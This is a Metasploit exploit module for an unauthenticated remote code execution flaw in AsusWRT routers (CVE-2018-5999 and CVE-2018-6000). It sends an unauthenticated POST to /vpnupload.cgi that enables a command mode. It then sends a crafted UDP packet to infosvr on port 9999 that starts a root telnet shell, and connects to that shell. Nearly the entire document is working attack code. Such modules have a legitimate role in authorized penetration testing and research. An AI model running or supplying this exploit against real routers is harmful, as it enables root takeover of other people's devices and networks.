## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'AsusWRT LAN Unauthenticated Remote Code Execution', 'Description' => %q{ The HTTP server in AsusWRT has a flaw where it allows an unauthenticated client to perform a POST in certain cases. This can be combined with another vulnerability in the VPN configuration upload routine that sets NVRAM configuration variables directly from the POST request to enable a special command mode. This command mode can then be abused by sending a UDP packet to infosvr, which is running on port UDP 9999 to directly execute commands as root. This exploit leverages that to start telnetd in a random port, and then connects to it. It has been tested with the RT-AC68U running AsusWRT Version 3.0.0.4.380.7743. }, 'Author' => [ 'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://blogs.securiteam.com/index.php/archives/3589'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/asuswrt-lan-rce.txt'], ['URL', 'http://seclists.org/fulldisclosure/2018/Jan/78'], ['CVE', '2018-5999'], ['CVE', '2018-6000'] ], 'Targets' => [ [ 'AsusWRT < v3.0.0.4.384.10007', { 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find', }, }, } ], ], 'Privileged' => true, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, 'DisclosureDate' => 'Jan 22 2018', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(9999) ]) register_advanced_options( [ OptInt.new('ASUSWRTPORT', [true, 'AsusWRT HTTP portal port', 80]) ]) end def exploit # first we set the ateCommand_flag variable to 1 to allow PKT_SYSCMD # this attack can also be used to overwrite the web interface password and achieve RCE by enabling SSH and rebooting! post_data = Rex::MIME::Message.new post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"ateCommand_flag\"") data = post_data.to_s res = send_request_cgi({ 'uri' => "/vpnupload.cgi", 'method' => 'POST', 'rport' => datastore['ASUSWRTPORT'], 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" }) if res and res.code == 200 print_good("#{peer} - Successfully set the ateCommand_flag variable.") else fail_with(Failure::Unknown, "#{peer} - Failed to set ateCommand_flag variable.") end # ... but we like to do it more cleanly, so let's send the PKT_SYSCMD as described in the comments above. info_pdu_size = 512 # expected packet size, not sure what the extra bytes are r = Random.new ibox_comm_pkt_hdr_ex = [0x0c].pack('C*') + # NET_SERVICE_ID_IBOX_INFO 0xC [0x15].pack('C*') + # NET_PACKET_TYPE_CMD 0x15 [0x33,0x00].pack('C*') + # NET_CMD_ID_MANU_CMD 0x33 r.bytes(4) + # Info, don't know what this is r.bytes(6) + # MAC address r.bytes(32) # Password telnet_port = rand((2**16)-1024)+1024 cmd = "/usr/sbin/telnetd -l /bin/sh -p #{telnet_port}" + [0x00].pack('C*') pkt_syscmd = [cmd.length,0x00].pack('C*') + # cmd length cmd # our command pkt_final = ibox_comm_pkt_hdr_ex + pkt_syscmd + r.bytes(info_pdu_size - (ibox_comm_pkt_hdr_ex + pkt_syscmd).length) connect_udp udp_sock.put(pkt_final) # we could process the response, but we don't care disconnect_udp print_status("#{peer} - Packet sent, let's sleep 10 seconds and try to connect to the router on port #{telnet_port}") sleep(10) begin ctx = { 'Msf' => framework, 'MsfExploit' => self } sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => 10 }) if not sock.nil? print_good("#{peer} - Success, shell incoming!") return handler(sock) end rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e sock.close if sock end print_bad("#{peer} - Well that didn't work... try again?") end end